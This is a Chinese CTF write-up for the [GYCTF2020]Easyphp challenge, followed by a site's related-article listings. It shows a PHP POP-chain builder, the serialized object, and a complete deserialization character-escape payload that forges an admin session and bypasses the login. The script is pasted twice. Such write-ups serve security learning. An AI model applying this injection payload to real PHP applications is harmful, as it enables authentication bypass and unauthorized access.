知识点

  1. 反序列化pop链
  2. 反序列化字符逃逸

解题过程

www.zip 备份文件获取源码

审计代码构造pop链

<?php

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
} class User
{
public $id;
public $age;
public $nickname; public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
} class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
} class Info{
public $age;
public $nickname;
public $CtrlCase; public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
} $a = new UpdateHelper();
$b = new User();
$c = new Info();
$d = new dbCtrl();
$d->name = "admin";
$d->password = "1";
$c->CtrlCase = $d;
$b->nickname = $c;
$b->age = 'select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$a->sql = $b;
$s = serialize($a); $obj_dream = new Info();
$obj_dream->age = "1";
$obj_dream->nickname = "11";
$obj_dream->CtrlCase = $a;
echo serialize($obj_dream);

<?php Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
} class User
{
public $id;
public $age;
public $nickname; public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
} class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
} class Info{
public $age;
public $nickname;
public $CtrlCase; public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
} $a = new UpdateHelper();
$b = new User();
$c = new Info();
$d = new dbCtrl();
$d->name = "admin";
$d->password = "1";
$c->CtrlCase = $d;
$b->nickname = $c;
$b->age = 'select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$a->sql = $b;
$s = serialize($a); $obj_dream = new Info();
$obj_dream->age = "1";
$obj_dream->nickname = "11";
$obj_dream->CtrlCase = $a;
echo serialize($obj_dream);

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:2:"11";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:72:"select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}

漏洞处只能传递两个参数

但是有safe这个替换函数

存在反序列化字符逃逸漏洞,可以逃逸任意数量的字符

用字符逃逸传递三个参数进去

需要逃逸的字符串为

";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:72:"select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}

总共466个字符

由safe函数可知 *替换成hacker多5个字符 union替换成hacker多一个字符

93个*加1个union即可逃逸466个字符

payload为

age=1&nickname=*********************************************************************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:72:"select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}

注入后,session[token]为admin,再以admin为账号,任意密码即可登录,拿到flag

[GYCTF2020]Easyphp的更多相关文章

  1. 快速搭建PHP开发环境(PhpStorm+EasyPHP)

    写在开头,何为PHP(拍黄片)? P HP是一种开源的通用计算机脚本语言,尤其适用于网络开发并可嵌入HTML中使用(维基百科). 从上我们得出,何为PHP? 1.开源脚本语言. 2.用于网络开发可嵌入 ...

  2. EasyPHP的Apache报错

    今天安装了最新版本的软件:EasyPHP-DevServer-14.1VC11-install.exe 启动报错: 打开Cport软件: 可见80端口被系统占用,导致Apache不能启动. (1)手动 ...

  3. 在win7下,easyphp安装过程中MSVCR110.DLL没有被指定在WINDOWS上运行,或者它包含错误

    这是安装easyphp后启动时出现的错误界面.查网上一大堆说法,基本上p用没有.真正解决的办法去m$站点 http://www.microsoft.com/zh-CN/download/details ...

  4. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  5. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  6. EasyPHP(php集成环境)下载 v5.4.6官方安装版

    EasyPHP版本:12.1(32位) PHP版本:5.4.6 MYSQL版本:5.5.27 APACHE版本:2.4.2 下载地址请点击

  7. [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist

    [ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...

  8. [GYCTF2020]Blacklist

    这题是用堆叠注入,同时也是借这题记录一下CTF中堆叠注入的一些骚操作 以下部分内容转载大佬的文章 show databases; 获取数据库名 show tables; 获取表名 show colum ...

  9. [GKCTF2020]EZ三剑客-EzNode&[GYCTF2020]Ez_Express

    写在前面 Nodejs基础一点没有做题还是很难下手的,要学的还很多 [GKCTF2020]EZ三剑客-EzNode 知识点 1.settimeout溢出 2.沙盒逃逸 题解 打开题目,看源代码 app ...

随机推荐

  1. 题解 CF762D Maximum path

    题目传送门 Description 给出一个 \(3\times n\) 的带权矩阵,选出一个 \((1,1)\to (3,n)\) 的路径使得路径上点权之和最大. \(n\le 10^5\) Sol ...

  2. Java内存分析--栈--堆

    Java内存分析--栈--堆 JVM的内存分析: 1.栈内存 1.连续的存储空间,遵循后进先出的原则. 2.每个线程包含一个栈区,栈区只保存基础数据类型的对象和自定义对象的引用. 3.每个栈中的数据都 ...

  3. 使用寄存器点亮LED——2

    1. 项目:使用stm32寄存器点亮LED, 分别点亮红.绿.蓝3个灯. 2. 步骤 先新建个文件夹保存项目 再新建项目 将startup_stm32f10x_hd.s拷贝到该文件夹下 新建main. ...

  4. 2019OO第四单元作业总结&OO课程整体总结

    第四单元作业总结 第四单元的作业主题是UML图的解析,通过对UML图代码的解析,我对UML图的结构以及各种元素之间的关系的理解更加深入了. ------------------------------ ...

  5. OO第四次博客作业--第四单元总结及课程总结

    一.总结第四单元两次作业的架构设计 1.1 第一次作业 类图如下: 为了突出类.接口.方法.属性.和参数之间的层次结构关系,我为 Class 和 Interface 和 Operation 分别建立了 ...

  6. spring cloud feign的基本使用

    在上一节,我们学会了如何使用ribbon进行来进行服务之间的调用,但是那种需要通过RestTemplate来进行调用而且当参数比较多时,使用起来就比较麻烦.那么有没有一种调用远程方法(别的服务)就像调 ...

  7. 这一篇 K8S(Kubernetes)我觉得可以了解一下!!!

    点赞再看,养成习惯,微信搜索[牧小农]关注我获取更多资讯,风里雨里,小农等你,很高兴能够成为你的朋友. 什么是Kubernetes? Kubernetes 是Google开源的分布式容器管理平台,是为 ...

  8. 搬运3:welpwnctf题目

    记录一道自己做的ctf题目:welpwn --RCTF-2015 1.老生常谈checksec查看: 可以看到只开了nx保护,下面我们进入ida下面看看. 发现是一个想rbp-400,rsp+0h的地 ...

  9. matplotlib散点图

    我们常用的统计图如下: 1.学会绘制散点图 一个小demo: 假设通过爬虫你获取到了北京2016年3,10月份每天白天的最高气温(分别位于列表a,b),那么此时如何寻找出气温和随时间(天)变化的某种规 ...

  10. oracle 定时任务增、删、改、查

    增: 创建一个计划任务 begin sys.dbms_job.submit(job=>:job, what=>'要定时执行的存储过程名:',--例如:包名.存储过程名;  记得写分号 ne ...